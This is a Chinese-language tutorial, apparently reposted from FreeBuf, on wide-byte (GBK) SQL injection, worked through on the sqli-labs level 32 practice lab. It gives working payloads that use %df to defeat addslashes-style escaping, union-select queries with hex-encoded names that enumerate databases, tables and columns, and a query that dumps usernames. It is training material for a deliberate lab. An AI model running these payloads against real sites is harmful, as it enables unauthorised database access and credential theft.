宽字节注入详细分析
2022-12-12 23:16:43 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

这里以sqli-lib-32关为例

mysql默认是GBK编码,BGK汉字编码,两个字节代表一个汉字,一个字节代表一个英文或者数字

那么,两个字节就是宽字节,一个字节就是窄字节

漏洞出现原因

mysql默认使用BGK编码,当mysql使用bgk编码时,会认为两个字符是一个汉字,(前一个ASCII码要大于128,才会得到汉字范围),这就是mysql的特性,因为BGK是多字节编码,它认为两个字节是一个汉字,我们在代入参数时,代入 %df%27,%27 是 单引号 的url编码

# 当 我们进行 SQL注入时,会进行一下操作

    (1)?id=1' and 1=1%23
    	# 这是正常的语句,我们不放使用SQL语句看一下
    	select * from user where id='1' and 1=1#'
    	
    	# 当php使用函数对接受的参数做了处理后,将单引号转义,在单引号前面加上了 转义符“\"
    	在sql中的语句是:
    	select * from user where id='1\' and 1=1#'
    	# 这时代入数据库查看,这是明显没有注入成功的,因为前面的单引号没有闭合


    (2) 当我们代入了 %df 时,在数据库中就变成了
    	?id=1%DF' and 1=1%23
    	这时,转义函数,还会对我们输入的单引号进行转义,转义成(\'),而"\"的url编码为 %5C
    	在url中就变成了:%DF%5c%27
    	当编码为bgk时,%5c会和前面的%df拼合,形成一个汉字(運)
    	从而闭合掉了后面的引号,查询成功
    	
    	最后的sql语句是:
    	select * from user where id='1運' and 1=1#'

漏洞出现的条件

  1. mysql使用了BGK编码

  2. php对传入的参数进行了转义

sqli靶场测试

# 首先了解PHP函数
mysql_real_escape_string()
mysql_escape_string()
addslashes()
magic_quotes_gpc()

a. 测试注入点

正常页面:
image

  1. 测试注入点

输入单引号测试注入点

?id=1'

发现把单引号给我们注释掉了

image

单引号被注释掉了,这是我们思路应该是,使用编码绕过,或者宽字节

首先试用编码绕过吧!! 毕竟刚开始学习,多走些弯路,总结经验,还是好的!!

发现并没有什么用,1=1 的时候 还是报错
image

开始使用宽字节注入:

?id=1%DF'

输入%DF页面报错,
现在的sql语句是
select * from user where id='1%df\''
select * from user where id='1%df%5c''
最后带入查询的是:
select * from user where id='1運''

这里为什么还会报错呢?把%5c吃掉了,不应该查询出id=1的结果了吗?

因为,我们php页面中是这样的

$id = $_GET[id];
$sql = "select 8 from user where id='.$id."'"";
我们带入的地方后面还有个单引号,所以我们要注释掉后面的单引号,才会使我们输入的单引号,与前面的闭合掉

image

注释掉后面的单引号后:

?id=1%df'%23

成功查出了id是1的数据
image

b. 排序测试字段数

测试等于3的时候,页面回显正常,说名有3个字段

?id=1%df' order by 3%23

image

c. 判断回显字段

此时我们看到,SQL查询结果是有回显的,所以我们使用联合注入法 union select

# 联合注入法:

就是使用系统关键字 union 拼接上 自己的 select 语句,后面的select得到的结果拼接到前面的select后面,

例如:
   前面的select得到两条记录,后面的select得到1条记录,那么后面的select的数据将作为第3条数据拼接到第一个select结果后面,其字段名按照	位置关系继承

# 联合注入法注意事项:
    (1)若回显只支持一行,要让前面的语句返回为空,id=-1 或者 id=1' and 1=2,总之让 union 前面的为假值
    (2)使用union select进行查询时,注意前后两个select返回的字段数必须相同,否则无法拼接
# payload

?id=-1%df' union select 1,2,3%23

回显位是2和3

image

d. 爆库名

?id=-1%df' union select 1,group_concat(database()),3%23

image

e. 爆表名

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security"%23

这里为什么会报错呢?

image

还记得,转义函数吗?这里双引号也转义,在双引号前面添加了反斜杠进行转义,这里我们就要绕过

采用十六进制编码绕过

双引号十六进制:security的十六进制为:0x7365637572697479

注意:写16进制时,不使用双引号,双引号也不转十六进制,直接把数据库名转换成16进制即可

# payload

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479%23

查出表名
image

f. 爆字段名

# 同理,表名转十六进制绕过
users:十六进制 0x7573657273

# 这里环境中存在多个users表,所以我编码中指定了数据库的名

#正常 payload

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273%23


# 此处 payload

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273%23

image

g. 爆数据

?id=-1%df' union select 1,group_concat(id,username,passowrd),3 from secutity.users%23

发现报错,原因是使用了mysql_fetch_array()函数,此函数,只能返回一行数据
image

所以我们每次查看一个字段

?id=-1%df' union select 1,group_concat(username),3 from security.users%23

image


文章来源: https://www.freebuf.com/articles/web/337784.html
如有侵权请联系:admin#unsafe.sh